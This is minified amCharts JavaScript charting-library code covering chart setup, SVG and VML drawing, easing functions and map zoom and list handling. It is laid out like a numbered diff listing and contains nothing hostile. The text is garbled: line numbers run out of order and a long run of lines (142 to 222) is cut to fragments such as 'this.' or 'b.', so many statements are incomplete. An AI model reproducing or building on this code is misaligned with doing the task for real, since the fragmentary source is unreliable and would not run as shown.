a-this.previousClickTime&&20<a-this.previousClickTime&&this.doDoubleClickZoom(),this.previousClickTime=a)},handleTouchMove:function(a){this.handleMouseMove(a)},resetPinch:function(){this.mapWasPinched=!1},handleMouseMove:function(a){var b=this;AmCharts.AmMap.base.handleMouseMove.call(b,a);var c=b.previuosMouseX,d=b.previuosMouseY,f=b.mouseX,e=b.mouseY;isNaN(c)&&(c=f);isNaN(d)&&(d=e);b.mouse2X=NaN;b.mouse2Y=NaN;if(a&&a.touches){var
|
142 |
-
b.mouse2Y=
|
143 |
-
b.mapHeight,
|
144 |
-
b.getObjectById(c));a.useTargetsZoomValues&&c&&(a.zoomX=c.zoomX,a.zoomY=c.zoomY,a.zoomLatitude=c.zoomLatitude,a.zoomLongitude=c.zoomLongitude,a.zoomLevel=c.zoomLevel);var d=b.selectedObject;d&&b.returnInitialColor(d);b.selectedObject=a;var f=!1;"MapArea"==a.objectType&&a.autoZoomReal&&(f=!0);if(c&&!f&&("string"==typeof c&&(c=b.getObjectById(c)),isNaN(a.zoomLevel)&&isNaN(a.zoomX)&&isNaN(a.zoomY))){if(b.extendMapData(c))return;
|
145 |
-
clearTimeout(b.selectedObjectTimeOut);clearTimeout(b.processObjectsTimeOut);c=b.zoomDuration;!f&&isNaN(a.zoomLevel)&&isNaN(a.zoomX)&&isNaN(a.zoomY)?(b.showDescriptionAndGetUrl(),b.processObjects()):(b.selectedObjectTimeOut=setTimeout(function(){b.showDescriptionAndGetUrl.call(b)},1E3*c+200),b.showObjectsAfterZoom?b.processObjectsTimeOut=setTimeout(function(){b.processObjects.call(b)},1E3*c+200):b.processObjects());
|
146 |
-
a.outlineColorReal);var
|
147 |
-
b.returnInitialColor(h)
|
148 |
-
a.objectType){var c=a.tempScale;isNaN(c)||b.translate(b.x,b.y,c,!0);a.tempScale=NaN}c=a.colorReal;
|
149 |
-
|
150 |
-
|
151 |
-
|
152 |
-
|
153 |
-
|
154 |
-
|
155 |
-
|
156 |
-
this.
|
157 |
-
|
158 |
-
this.
|
159 |
-
|
160 |
-
|
161 |
-
b.
|
162 |
-
a&&
|
163 |
-
|
164 |
-
if(this.
|
165 |
-
|
166 |
-
a.
|
167 |
-
e
|
168 |
-
this.
|
169 |
-
|
170 |
-
this.
|
171 |
-
|
172 |
-
|
173 |
-
(
|
174 |
-
|
175 |
-
"mercator"==c.projection
|
176 |
-
|
177 |
-
b
|
178 |
-
|
179 |
-
this.
|
180 |
-
|
181 |
-
a
|
182 |
-
this.
|
183 |
-
|
184 |
-
|
185 |
-
|
186 |
-
f
|
187 |
-
|
188 |
-
|
189 |
-
|
190 |
-
|
191 |
-
p.
|
192 |
-
|
193 |
-
|
194 |
-
|
195 |
-
|
196 |
-
|
197 |
-
|
198 |
-
|
199 |
-
|
200 |
-
|
201 |
-
|
202 |
-
|
203 |
-
e.
|
204 |
-
|
205 |
-
|
206 |
-
a.
|
207 |
-
|
208 |
-
|
209 |
-
|
210 |
-
|
211 |
-
|
212 |
-
|
213 |
-
|
214 |
-
|
215 |
-
|
216 |
-
|
217 |
-
|
218 |
-
|
219 |
-
|
220 |
-
|
221 |
-
|
222 |
-
|
|
|
|
|
|
|
223 |
c.showAreasInList);this.addObject(e,d)}if(a.images)for(f=0;f<a.images.length;f++)e=a.images[f],void 0===e.showInList&&(e.showInList=c.showImagesInList),this.addObject(e,d);if(a.lines)for(f=0;f<a.lines.length;f++)e=a.lines[f],void 0===e.showInList&&(e.showInList=c.showLinesInList),this.addObject(e,d);0<d.childNodes.length&&b.appendChild(d)},addObject:function(a,b){var c=this;if(a.showInList&&void 0!==a.title){var d=document.createElement("li"),f=document.createTextNode(a.title),e=document.createElement("a");
|
224 |
e.appendChild(f);d.appendChild(e);b.appendChild(d);this.addObjects(a,d);e.onmouseover=function(){c.chart.rollOverMapObject(a,!1)};e.onmouseout=function(){c.chart.rollOutMapObject(a)};e.onclick=function(){c.chart.clickMapObject(a)}}}});
|
1 |
+
if(!AmCharts)var AmCharts={themes:{},maps:{},inheriting:{},charts:[],onReadyArray:[],useUTC:!1,updateRate:40,uid:0};
|
2 |
+
AmCharts.Class=function(a){var b=function(){arguments[0]!==AmCharts.inheriting&&(this.events={},this.construct.apply(this,arguments))};a.inherits?(b.prototype=new a.inherits(AmCharts.inheriting),b.base=a.inherits.prototype,delete a.inherits):(b.prototype.createEvents=function(){for(var a=0,b=arguments.length;a<b;a++)this.events[arguments[a]]=[]},b.prototype.listenTo=function(a,b,c){this.removeListener(a,b,c);a.events[b].push({handler:c,scope:this})},b.prototype.addListener=function(a,b,c){this.removeListener(this,
|
3 |
+
a,b);this.events[a].push({handler:b,scope:c})},b.prototype.removeListener=function(a,b,c){if(a&&a.events)for(a=a.events[b],b=a.length-1;0<=b;b--)a[b].handler===c&&a.splice(b,1)},b.prototype.fire=function(a,b){for(var c=this.events[a],g=0,h=c.length;g<h;g++){var k=c[g];k.handler.call(k.scope,b)}});for(var c in a)b.prototype[c]=a[c];return b};AmCharts.addChart=function(a){AmCharts.charts.push(a)};AmCharts.removeChart=function(a){for(var b=AmCharts.charts,c=b.length-1;0<=c;c--)b[c]==a&&b.splice(c,1)};
|
4 |
+
AmCharts.IEversion=0;AmCharts.isModern=!0;AmCharts.navigator=navigator.userAgent.toLowerCase();-1!=AmCharts.navigator.indexOf("msie")&&(AmCharts.IEversion=parseInt(AmCharts.navigator.split("msie")[1]),document.documentMode&&(AmCharts.IEversion=Number(document.documentMode)),9>AmCharts.IEversion&&(AmCharts.isModern=!1));AmCharts.dx=0;AmCharts.dy=0;if(document.addEventListener||window.opera)AmCharts.isNN=!0,AmCharts.isIE=!1,AmCharts.dx=0.5,AmCharts.dy=0.5;
|
5 |
document.attachEvent&&(AmCharts.isNN=!1,AmCharts.isIE=!0,AmCharts.isModern||(AmCharts.dx=0,AmCharts.dy=0));window.chrome&&(AmCharts.chrome=!0);AmCharts.handleResize=function(){for(var a=AmCharts.charts,b=0;b<a.length;b++){var c=a[b];c&&c.div&&c.handleResize()}};AmCharts.handleMouseUp=function(a){for(var b=AmCharts.charts,c=0;c<b.length;c++){var d=b[c];d&&d.handleReleaseOutside(a)}};AmCharts.handleMouseMove=function(a){for(var b=AmCharts.charts,c=0;c<b.length;c++){var d=b[c];d&&d.handleMouseMove(a)}};
|
6 |
+
AmCharts.resetMouseOver=function(){for(var a=AmCharts.charts,b=0;b<a.length;b++){var c=a[b];c&&(c.mouseIsOver=!1)}};AmCharts.ready=function(a){AmCharts.onReadyArray.push(a)};AmCharts.handleLoad=function(){AmCharts.isReady=!0;for(var a=AmCharts.onReadyArray,b=0;b<a.length;b++){var c=a[b];isNaN(AmCharts.processDelay)?c():setTimeout(c,AmCharts.processDelay*b)}};AmCharts.getUniqueId=function(){AmCharts.uid++;return"AmChartsEl-"+AmCharts.uid};
|
7 |
AmCharts.isNN&&(document.addEventListener("mousemove",AmCharts.handleMouseMove,!0),window.addEventListener("resize",AmCharts.handleResize,!0),document.addEventListener("mouseup",AmCharts.handleMouseUp,!0),window.addEventListener("load",AmCharts.handleLoad,!0));AmCharts.isIE&&(document.attachEvent("onmousemove",AmCharts.handleMouseMove),window.attachEvent("onresize",AmCharts.handleResize),document.attachEvent("onmouseup",AmCharts.handleMouseUp),window.attachEvent("onload",AmCharts.handleLoad));
|
8 |
AmCharts.clear=function(){var a=AmCharts.charts;if(a)for(var b=0;b<a.length;b++)a[b].clear();AmCharts.charts=null;AmCharts.isNN&&(document.removeEventListener("mousemove",AmCharts.handleMouseMove,!0),window.removeEventListener("resize",AmCharts.handleResize,!0),document.removeEventListener("mouseup",AmCharts.handleMouseUp,!0),window.removeEventListener("load",AmCharts.handleLoad,!0));AmCharts.isIE&&(document.detachEvent("onmousemove",AmCharts.handleMouseMove),window.detachEvent("onresize",AmCharts.handleResize),
|
9 |
document.detachEvent("onmouseup",AmCharts.handleMouseUp),window.detachEvent("onload",AmCharts.handleLoad))};
|
10 |
+
AmCharts.makeChart=function(a,b,c){var d=b.type,f=b.theme;AmCharts.isString(f)&&(f=AmCharts.themes[f],b.theme=f);var e;switch(d){case "serial":e=new AmCharts.AmSerialChart(f);break;case "xy":e=new AmCharts.AmXYChart(f);break;case "pie":e=new AmCharts.AmPieChart(f);break;case "radar":e=new AmCharts.AmRadarChart(f);break;case "gauge":e=new AmCharts.AmAngularGauge(f);break;case "funnel":e=new AmCharts.AmFunnelChart(f);break;case "map":e=new AmCharts.AmMap(f);break;case "stock":e=new AmCharts.AmStockChart(f)}AmCharts.extend(e,
|
11 |
+
b);AmCharts.isReady?isNaN(c)?e.write(a):setTimeout(function(){AmCharts.realWrite(e,a)},c):AmCharts.ready(function(){isNaN(c)?e.write(a):setTimeout(function(){AmCharts.realWrite(e,a)},c)});return e};AmCharts.realWrite=function(a,b){a.write(b)};AmCharts.toBoolean=function(a,b){if(void 0===a)return b;switch(String(a).toLowerCase()){case "true":case "yes":case "1":return!0;case "false":case "no":case "0":case null:return!1;default:return Boolean(a)}};AmCharts.removeFromArray=function(a,b){var c;for(c=a.length-1;0<=c;c--)a[c]==b&&a.splice(c,1)};AmCharts.getDecimals=function(a){var b=0;isNaN(a)||(a=String(a),-1!=a.indexOf("e-")?b=Number(a.split("-")[1]):-1!=a.indexOf(".")&&(b=a.split(".")[1].length));return b};
|
12 |
+
AmCharts.wrappedText=function(a,b,c,d,f,e,g,h,k){var l=AmCharts.text(a,b,c,d,f,e,g),m="\n";AmCharts.isModern||(m="<br>");if(10<k)return l;if(l){var n=l.getBBox();if(n.width>h){l.remove();for(var l=[],q=0;-1<(index=b.indexOf(" ",q));)l.push(index),q=index+1;for(var p=Math.round(b.length/2),A=1E3,y,q=0;q<l.length;q++){var s=Math.abs(l[q]-p);s<A&&(y=l[q],A=s)}if(isNaN(y)){h=Math.ceil(n.width/h);for(q=1;q<h;q++)y=Math.round(b.length/h*q),b=b.substr(0,y)+m+b.substr(y);return AmCharts.text(a,b,c,d,f,e,
|
13 |
+
g)}b=b.substr(0,y)+m+b.substr(y+1);return AmCharts.wrappedText(a,b,c,d,f,e,g,h,k+1)}return l}};AmCharts.getStyle=function(a,b){var c="";document.defaultView&&document.defaultView.getComputedStyle?c=document.defaultView.getComputedStyle(a,"").getPropertyValue(b):a.currentStyle&&(b=b.replace(/\-(\w)/g,function(a,b){return b.toUpperCase()}),c=a.currentStyle[b]);return c};AmCharts.removePx=function(a){if(void 0!=a)return Number(a.substring(0,a.length-2))};
|
14 |
AmCharts.getURL=function(a,b){if(a)if("_self"!=b&&b)if("_top"==b&&window.top)window.top.location.href=a;else if("_parent"==b&&window.parent)window.parent.location.href=a;else{var c=document.getElementsByName(b)[0];c?c.src=a:window.open(a)}else window.location.href=a};AmCharts.ifArray=function(a){return a&&0<a.length?!0:!1};AmCharts.callMethod=function(a,b){var c;for(c=0;c<b.length;c++){var d=b[c];if(d){if(d[a])d[a]();var f=d.length;if(0<f){var e;for(e=0;e<f;e++){var g=d[e];if(g&&g[a])g[a]()}}}}};
|
15 |
AmCharts.toNumber=function(a){return"number"==typeof a?a:Number(String(a).replace(/[^0-9\-.]+/g,""))};AmCharts.toColor=function(a){if(""!==a&&void 0!==a)if(-1!=a.indexOf(",")){a=a.split(",");var b;for(b=0;b<a.length;b++){var c=a[b].substring(a[b].length-6,a[b].length);a[b]="#"+c}}else a=a.substring(a.length-6,a.length),a="#"+a;return a};
|
16 |
AmCharts.toCoordinate=function(a,b,c){var d;void 0!==a&&(a=String(a),c&&c<b&&(b=c),d=Number(a),-1!=a.indexOf("!")&&(d=b-Number(a.substr(1))),-1!=a.indexOf("%")&&(d=b*Number(a.substr(0,a.length-1))/100));return d};AmCharts.fitToBounds=function(a,b,c){a<b&&(a=b);a>c&&(a=c);return a};AmCharts.isDefined=function(a){return void 0===a?!1:!0};AmCharts.stripNumbers=function(a){return a.replace(/[0-9]+/g,"")};AmCharts.roundTo=function(a,b){if(0>b)return a;var c=Math.pow(10,b);return Math.round(a*c)/c};
|
27 |
AmCharts.formatValue=function(a,b,c,d,f,e,g,h){if(b){void 0===f&&(f="");var k;for(k=0;k<c.length;k++){var l=c[k],m=b[l];void 0!==m&&(m=e?AmCharts.addPrefix(m,h,g,d):AmCharts.formatNumber(m,d),a=a.replace(RegExp("\\[\\["+f+""+l+"\\]\\]","g"),m))}}return a};AmCharts.formatDataContextValue=function(a,b){if(a){var c=a.match(/\[\[.*?\]\]/g),d;for(d=0;d<c.length;d++){var f=c[d],f=f.substr(2,f.length-4);void 0!==b[f]&&(a=a.replace(RegExp("\\[\\["+f+"\\]\\]","g"),b[f]))}}return a};
|
28 |
AmCharts.massReplace=function(a,b){for(var c in b)if(b.hasOwnProperty(c)){var d=b[c];void 0===d&&(d="");a=a.replace(c,d)}return a};AmCharts.cleanFromEmpty=function(a){return a.replace(/\[\[[^\]]*\]\]/g,"")};
|
29 |
AmCharts.addPrefix=function(a,b,c,d,f){var e=AmCharts.formatNumber(a,d),g="",h,k,l;if(0===a)return"0";0>a&&(g="-");a=Math.abs(a);if(1<a)for(h=b.length-1;-1<h;h--){if(a>=b[h].number&&(k=a/b[h].number,l=Number(d.precision),1>l&&(l=1),c=AmCharts.roundTo(k,l),l=AmCharts.formatNumber(c,{precision:-1,decimalSeparator:d.decimalSeparator,thousandsSeparator:d.thousandsSeparator}),!f||k==c)){e=g+""+l+""+b[h].prefix;break}}else for(h=0;h<c.length;h++)if(a<=c[h].number){k=a/c[h].number;l=Math.abs(Math.round(Math.log(k)*
|
30 |
+
Math.LOG10E));k=AmCharts.roundTo(k,l);e=g+""+k+""+c[h].prefix;break}return e};AmCharts.remove=function(a){a&&a.remove()};AmCharts.recommended=function(){var a="js";document.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")||swfobject&&swfobject.hasFlashPlayerVersion("8")&&(a="flash");return a};AmCharts.getEffect=function(a){">"==a&&(a="easeOutSine");"<"==a&&(a="easeInSine");"elastic"==a&&(a="easeOutElastic");return a};
|
31 |
+
AmCharts.getObjById=function(a,b){var c,d;for(d=0;d<a.length;d++){var f=a[d];f.id==b&&(c=f)}return c};AmCharts.applyTheme=function(a,b,c){b||(b=AmCharts.theme);b&&b[c]&&AmCharts.extend(a,b[c])};AmCharts.isString=function(a){return"string"==typeof a?!0:!1};AmCharts.extend=function(a,b,c){for(var d in b)c?a.hasOwnProperty(d)||(a[d]=b[d]):a[d]=b[d];return a};
|
32 |
+
AmCharts.copyProperties=function(a,b){for(var c in a)a.hasOwnProperty(c)&&"events"!=c&&void 0!==a[c]&&"function"!=typeof a[c]&&"cname"!=c&&(b[c]=a[c])};AmCharts.processObject=function(a,b,c){!1===a instanceof b&&(a=AmCharts.extend(new b(c),a));return a};AmCharts.fixNewLines=function(a){var b=RegExp("\\n","g");a&&(a=a.replace(b,"<br />"));return a};AmCharts.fixBrakes=function(a){if(AmCharts.isModern){var b=RegExp("<br>","g");a&&(a=a.replace(b,"\n"))}else a=AmCharts.fixNewLines(a);return a};
|
33 |
+
AmCharts.deleteObject=function(a,b){if(a){if(void 0===b||null===b)b=20;if(0!==b)if("[object Array]"===Object.prototype.toString.call(a))for(var c=0;c<a.length;c++)AmCharts.deleteObject(a[c],b-1),a[c]=null;else if(a&&!a.tagName)try{for(c in a)a[c]&&("object"==typeof a[c]&&AmCharts.deleteObject(a[c],b-1),"function"!=typeof a[c]&&(a[c]=null))}catch(d){}}};
|
34 |
AmCharts.bounce=function(a,b,c,d,f){return(b/=f)<1/2.75?7.5625*d*b*b+c:b<2/2.75?d*(7.5625*(b-=1.5/2.75)*b+0.75)+c:b<2.5/2.75?d*(7.5625*(b-=2.25/2.75)*b+0.9375)+c:d*(7.5625*(b-=2.625/2.75)*b+0.984375)+c};AmCharts.easeInSine=function(a,b,c,d,f){return-d*Math.cos(b/f*(Math.PI/2))+d+c};AmCharts.easeOutSine=function(a,b,c,d,f){return d*Math.sin(b/f*(Math.PI/2))+c};
|
35 |
+
AmCharts.easeOutElastic=function(a,b,c,d,f){a=1.70158;var e=0,g=d;if(0===b)return c;if(1==(b/=f))return c+d;e||(e=0.3*f);g<Math.abs(d)?(g=d,a=e/4):a=e/(2*Math.PI)*Math.asin(d/g);return g*Math.pow(2,-10*b)*Math.sin(2*(b*f-a)*Math.PI/e)+d+c};AmCharts.AmDraw=AmCharts.Class({construct:function(a,b,c,d){AmCharts.SVG_NS="http://www.w3.org/2000/svg";AmCharts.SVG_XLINK="http://www.w3.org/1999/xlink";AmCharts.hasSVG=!!document.createElementNS&&!!document.createElementNS(AmCharts.SVG_NS,"svg").createSVGRect;1>b&&(b=10);1>c&&(c=10);this.div=a;this.width=b;this.height=c;this.rBin=document.createElement("div");if(AmCharts.hasSVG){AmCharts.SVG=!0;var f=this.createSvgElement("svg");f.style.position="absolute";f.style.width=b+"px";f.style.height=c+
|
36 |
+
"px";b=this.createSvgElement("desc");b.appendChild(document.createTextNode("JavaScript chart by amCharts "+d.version));f.appendChild(b);AmCharts.rtl&&(f.setAttribute("direction","rtl"),f.style.left="auto",f.style.right="0px");f.setAttribute("version","1.1");a.appendChild(f);this.container=f;this.R=new AmCharts.SVGRenderer(this)}else AmCharts.isIE&&AmCharts.VMLRenderer&&(AmCharts.VML=!0,AmCharts.vmlStyleSheet||(document.namespaces.add("amvml","urn:schemas-microsoft-com:vml"),31>document.styleSheets.length?
|
37 |
+
(f=document.createStyleSheet(),f.addRule(".amvml","behavior:url(#default#VML); display:inline-block; antialias:true"),AmCharts.vmlStyleSheet=f):document.styleSheets[0].addRule(".amvml","behavior:url(#default#VML); display:inline-block; antialias:true")),this.container=a,this.R=new AmCharts.VMLRenderer(this,d),this.R.disableSelection(a))},createSvgElement:function(a){return document.createElementNS(AmCharts.SVG_NS,a)},circle:function(a,b,c,d){var f=new AmCharts.AmDObject("circle",this);f.attr({r:c,
|
38 |
+
cx:a,cy:b});this.addToContainer(f.node,d);return f},setSize:function(a,b){0<a&&0<b&&(this.container.style.width=a+"px",this.container.style.height=b+"px")},rect:function(a,b,c,d,f,e,g){var h=new AmCharts.AmDObject("rect",this);AmCharts.VML&&(f=100*f/Math.min(c,d),c+=2*e,d+=2*e,h.bw=e,h.node.style.marginLeft=-e,h.node.style.marginTop=-e);1>c&&(c=1);1>d&&(d=1);h.attr({x:a,y:b,width:c,height:d,rx:f,ry:f,"stroke-width":e});this.addToContainer(h.node,g);return h},image:function(a,b,c,d,f,e){var g=new AmCharts.AmDObject("image",
|
39 |
+
this);g.attr({x:b,y:c,width:d,height:f});this.R.path(g,a);this.addToContainer(g.node,e);return g},addToContainer:function(a,b){b||(b=this.container);b.appendChild(a)},text:function(a,b,c){return this.R.text(a,b,c)},path:function(a,b,c,d){var f=new AmCharts.AmDObject("path",this);d||(d="100,100");f.attr({cs:d});c?f.attr({dd:a}):f.attr({d:a});this.addToContainer(f.node,b);return f},set:function(a){return this.R.set(a)},remove:function(a){if(a){var b=this.rBin;b.appendChild(a);b.innerHTML=""}},renderFix:function(){var a=
|
40 |
+
this.container,b=a.style,c;try{c=a.getScreenCTM()||a.createSVGMatrix()}catch(d){c=a.createSVGMatrix()}a=1-c.e%1;c=1-c.f%1;0.5<a&&(a-=1);0.5<c&&(c-=1);a&&(b.left=a+"px");c&&(b.top=c+"px")},update:function(){this.R.update()}});AmCharts.AmDObject=AmCharts.Class({construct:function(a,b){this.D=b;this.R=b.R;this.node=this.R.create(this,a);this.y=this.x=0;this.scale=1},attr:function(a){this.R.attr(this,a);return this},getAttr:function(a){return this.node.getAttribute(a)},setAttr:function(a,b){this.R.setAttr(this,a,b);return this},clipRect:function(a,b,c,d){this.R.clipRect(this,a,b,c,d)},translate:function(a,b,c,d){d||(a=Math.round(a),b=Math.round(b));this.R.move(this,a,b,c);this.x=a;this.y=b;this.scale=c;this.angle&&this.rotate(this.angle)},
|
41 |
rotate:function(a,b){this.R.rotate(this,a,b);this.angle=a},animate:function(a,b,c){for(var d in a)if(a.hasOwnProperty(d)){var f=d,e=a[d];c=AmCharts.getEffect(c);this.R.animate(this,f,e,b,c)}},push:function(a){if(a){var b=this.node;b.appendChild(a.node);var c=a.clipPath;c&&b.appendChild(c);(a=a.grad)&&b.appendChild(a)}},text:function(a){this.R.setText(this,a)},remove:function(){this.R.remove(this)},clear:function(){var a=this.node;if(a.hasChildNodes())for(;1<=a.childNodes.length;)a.removeChild(a.firstChild)},
|
42 |
hide:function(){this.setAttr("visibility","hidden")},show:function(){this.setAttr("visibility","visible")},getBBox:function(){return this.R.getBBox(this)},toFront:function(){var a=this.node;if(a){this.prevNextNode=a.nextSibling;var b=a.parentNode;b&&b.appendChild(a)}},toPrevious:function(){var a=this.node;a&&this.prevNextNode&&(a=a.parentNode)&&a.insertBefore(this.prevNextNode,null)},toBack:function(){var a=this.node;if(a){this.prevNextNode=a.nextSibling;var b=a.parentNode;if(b){var c=b.firstChild;
|
43 |
c&&b.insertBefore(a,c)}}},mouseover:function(a){this.R.addListener(this,"mouseover",a);return this},mouseout:function(a){this.R.addListener(this,"mouseout",a);return this},click:function(a){this.R.addListener(this,"click",a);return this},dblclick:function(a){this.R.addListener(this,"dblclick",a);return this},mousedown:function(a){this.R.addListener(this,"mousedown",a);return this},mouseup:function(a){this.R.addListener(this,"mouseup",a);return this},touchstart:function(a){this.R.addListener(this,
|
50 |
b,c,d){b="translate("+b+","+c+")";d&&(b=b+" scale("+d+")");this.setAttr(a,"transform",b)},rotate:function(a,b){var c=a.node.getAttribute("transform"),d="rotate("+b+")";c&&(d=c+" "+d);this.setAttr(a,"transform",d)},set:function(a){var b=new AmCharts.AmDObject("g",this.D);this.D.container.appendChild(b.node);if(a){var c;for(c=0;c<a.length;c++)b.push(a[c])}return b},addListener:function(a,b,c){a.node["on"+b]=c},gradient:function(a,b,c,d){var f=a.node,e=a.grad;e&&this.D.remove(e);b=document.createElementNS(AmCharts.SVG_NS,
|
51 |
b);e=AmCharts.getUniqueId();b.setAttribute("id",e);if(!isNaN(d)){var g=0,h=0,k=0,l=0;90==d?k=100:270==d?l=100:180==d?g=100:0===d&&(h=100);b.setAttribute("x1",g+"%");b.setAttribute("x2",h+"%");b.setAttribute("y1",k+"%");b.setAttribute("y2",l+"%")}for(d=0;d<c.length;d++)g=document.createElementNS(AmCharts.SVG_NS,"stop"),h=100*d/(c.length-1),0===d&&(h=0),g.setAttribute("offset",h+"%"),g.setAttribute("stop-color",c[d]),b.appendChild(g);f.parentNode.appendChild(b);c="#";AmCharts.baseHref&&!AmCharts.isIE&&
|
52 |
(c=window.location.href+c);f.setAttribute("fill","url("+c+e+")");a.grad=b},pattern:function(a,b,c){var d=a.node;isNaN(c)&&(c=1);var f=a.patternNode;f&&this.D.remove(f);var f=document.createElementNS(AmCharts.SVG_NS,"pattern"),e=AmCharts.getUniqueId(),g=b;b.url&&(g=b.url);var h=Number(b.width);isNaN(h)&&(h=4);var k=Number(b.height);isNaN(k)&&(k=4);h/=c;k/=c;c=b.x;isNaN(c)&&(c=0);var l=-Math.random()*Number(b.randomX);isNaN(l)||(c=l);l=b.y;isNaN(l)&&(l=0);b=-Math.random()*Number(b.randomY);isNaN(b)||
|
53 |
+
(l=b);f.setAttribute("id",e);f.setAttribute("width",h);f.setAttribute("height",k);f.setAttribute("patternUnits","userSpaceOnUse");f.setAttribute("xlink:href",g);this.D.image(g,0,0,h,k,f).translate(c,l);g="#";AmCharts.baseHref&&!AmCharts.isIE&&(g=window.location.href+g);d.setAttribute("fill","url("+g+e+")");a.patternNode=f;d.parentNode.appendChild(f)},remove:function(a){a.clipPath&&this.D.remove(a.clipPath);a.grad&&this.D.remove(a.grad);a.patternNode&&this.D.remove(a.patternNode);this.D.remove(a.node)}});AmCharts.AmChart=AmCharts.Class({construct:function(a){this.theme=a;this.version="3.4.8";AmCharts.addChart(this);this.createEvents("dataUpdated","init","rendered","drawn");this.height=this.width="100%";this.dataChanged=!0;this.chartCreated=!1;this.previousWidth=this.previousHeight=0;this.backgroundColor="#FFFFFF";this.borderAlpha=this.backgroundAlpha=0;this.color=this.borderColor="#000000";this.fontFamily="Verdana";this.fontSize=11;this.usePrefixes=!1;this.precision=-1;this.percentPrecision=2;this.decimalSeparator=
|
54 |
+
".";this.thousandsSeparator=",";this.labels=[];this.allLabels=[];this.titles=[];this.marginRight=this.marginLeft=this.autoMarginOffset=0;this.timeOuts=[];this.creditsPosition="top-left";var b=document.createElement("div"),c=b.style;c.overflow="hidden";c.position="relative";c.textAlign="left";this.chartDiv=b;b=document.createElement("div");c=b.style;c.overflow="hidden";c.position="relative";c.textAlign="left";this.legendDiv=b;this.titleHeight=0;this.hideBalloonTime=150;this.handDrawScatter=2;this.handDrawThickness=
|
55 |
+
1;this.prefixesOfBigNumbers=[{number:1E3,prefix:"k"},{number:1E6,prefix:"M"},{number:1E9,prefix:"G"},{number:1E12,prefix:"T"},{number:1E15,prefix:"P"},{number:1E18,prefix:"E"},{number:1E21,prefix:"Z"},{number:1E24,prefix:"Y"}];this.prefixesOfSmallNumbers=[{number:1E-24,prefix:"y"},{number:1E-21,prefix:"z"},{number:1E-18,prefix:"a"},{number:1E-15,prefix:"f"},{number:1E-12,prefix:"p"},{number:1E-9,prefix:"n"},{number:1E-6,prefix:"\u03bc"},{number:0.001,prefix:"m"}];this.panEventsEnabled=!0;AmCharts.bezierX=
|
56 |
+
3;AmCharts.bezierY=6;this.product="amcharts";this.animations=[];this.balloon=new AmCharts.AmBalloon(this.theme);this.balloon.chart=this;AmCharts.applyTheme(this,a,"AmChart")},drawChart:function(){this.drawBackground();this.redrawLabels();this.drawTitles();this.brr()},drawBackground:function(){AmCharts.remove(this.background);var a=this.container,b=this.backgroundColor,c=this.backgroundAlpha,d=this.set;AmCharts.isModern||0!==c||(c=0.001);var f=this.updateWidth();this.realWidth=f;var e=this.updateHeight();
|
57 |
+
this.realHeight=e;this.background=b=AmCharts.polygon(a,[0,f-1,f-1,0],[0,0,e-1,e-1],b,c,1,this.borderColor,this.borderAlpha);d.push(b);if(b=this.backgroundImage)this.path&&(b=this.path+b),this.bgImg=a=a.image(b,0,0,f,e),d.push(a)},drawTitles:function(){var a=this.titles;if(AmCharts.ifArray(a)){var b=20,c;for(c=0;c<a.length;c++){var d=a[c],f=d.color;void 0===f&&(f=this.color);var e=d.size;isNaN(e)&&(e=this.fontSize+2);isNaN(d.alpha);var g=this.marginLeft,f=AmCharts.text(this.container,d.text,f,this.fontFamily,
|
58 |
+
e);f.translate(g+(this.realWidth-this.marginRight-g)/2,b);g=!0;void 0!==d.bold&&(g=d.bold);g&&f.attr({"font-weight":"bold"});f.attr({opacity:d.alpha});b+=e+6;this.freeLabelsSet.push(f)}}},write:function(a){a="object"!=typeof a?document.getElementById(a):a;a.innerHTML="";this.div=a;a.style.overflow="hidden";a.style.textAlign="left";var b=this.chartDiv,c=this.legendDiv,d=this.legend,f=c.style,e=b.style;this.measure();var g,h=document.createElement("div");g=h.style;g.position="relative";this.containerDiv=
|
59 |
+
h;a.appendChild(h);var k=this.exportConfig;k&&AmCharts.AmExport&&!this.AmExport&&(this.AmExport=new AmCharts.AmExport(this,k));if(d)switch(d=this.addLegend(d,d.divId),d.position){case "bottom":h.appendChild(b);h.appendChild(c);break;case "top":h.appendChild(c);h.appendChild(b);break;case "absolute":g.width=a.style.width;g.height=a.style.height;f.position="absolute";e.position="absolute";void 0!==d.left&&(f.left=d.left+"px");void 0!==d.right&&(f.right=d.right+"px");void 0!==d.top&&(f.top=d.top+"px");
|
60 |
+
void 0!==d.bottom&&(f.bottom=d.bottom+"px");d.marginLeft=0;d.marginRight=0;h.appendChild(b);h.appendChild(c);break;case "right":g.width=a.style.width;g.height=a.style.height;f.position="relative";e.position="absolute";h.appendChild(b);h.appendChild(c);break;case "left":g.width=a.style.width;g.height=a.style.height;f.position="absolute";e.position="relative";h.appendChild(b);h.appendChild(c);break;case "outside":h.appendChild(b)}else h.appendChild(b);this.listenersAdded||(this.addListeners(),this.listenersAdded=
|
61 |
+
!0);this.initChart()},createLabelsSet:function(){AmCharts.remove(this.labelsSet);this.labelsSet=this.container.set();this.freeLabelsSet.push(this.labelsSet)},initChart:function(){var a=this.numberFormatter;a&&(isNaN(a.precision)||(this.precision=a.precision),void 0!==a.thousandsSeparator&&(this.thousandsSeparator=a.thousandsSeparator),void 0!==a.decimalSeparator&&(this.decimalSeparator=a.decimalSeparator));(a=this.percentFormatter)&&!isNaN(a.precision)&&(this.percentPrecision=a.precision);this.nf=
|
62 |
+
{precision:this.precision,thousandsSeparator:this.thousandsSeparator,decimalSeparator:this.decimalSeparator};this.pf={precision:this.percentPrecision,thousandsSeparator:this.thousandsSeparator,decimalSeparator:this.decimalSeparator};this.divIsFixed=AmCharts.findIfFixed(this.chartDiv);this.previousHeight=this.divRealHeight;this.previousWidth=this.divRealWidth;this.destroy();this.startInterval();a=0;document.attachEvent&&!window.opera&&(a=1);this.dmouseX=this.dmouseY=0;var b=document.getElementsByTagName("html")[0];
|
63 |
+
b&&window.getComputedStyle&&(b=window.getComputedStyle(b,null))&&(this.dmouseY=AmCharts.removePx(b.getPropertyValue("margin-top")),this.dmouseX=AmCharts.removePx(b.getPropertyValue("margin-left")));this.mouseMode=a;a=new AmCharts.AmDraw(this.chartDiv,this.realWidth,this.realHeight,this);a.handDrawn=this.handDrawn;a.handDrawScatter=this.handDrawScatter;a.handDrawThickness=this.handDrawThickness;this.container=a;if(AmCharts.VML||AmCharts.SVG)a=this.container,this.set=a.set(),this.gridSet=a.set(),this.cursorLineSet=
|
64 |
+
